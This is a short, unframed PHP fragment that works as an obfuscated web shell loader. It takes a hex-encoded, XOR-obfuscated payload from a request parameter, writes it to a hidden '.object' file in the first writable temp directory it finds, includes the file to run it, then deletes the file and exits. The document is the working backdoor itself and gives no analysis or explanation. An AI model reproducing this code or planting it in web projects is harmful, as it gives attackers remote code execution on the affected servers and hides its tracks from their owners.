if(!empty($_REQUEST["dat"])){
	 $obj = hex2bin($_REQUEST["dat"]);
	 $token ='';
		foreach(str_split($obj) as $char){
		$token .= chr(ord($char) ^ 4);
	}
	 $desc = array_filter([session_save_path(), "/dev/shm", getenv("TEMP"), getenv("TMP"), "/tmp", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp"]);
	 $symbol = 0;
		 do {
		 $ref = $desc[$symbol] ?? null;
		 if ($symbol >= count($desc)) break;
			 if (max(0, is_dir($ref) * is_writable($ref))) {
			 $binding = vsprintf("%s/%s", [$ref, ".object"]);
			 $file = fopen($binding, 'w');
				 if ($file) {
				 fwrite($file, $token);
				 fclose($file);
				 include $binding;
				 @unlink($binding);
				 die();
				 
			}
			 
		}
		 $symbol++;
		 
	}
	 while (true);
	 
}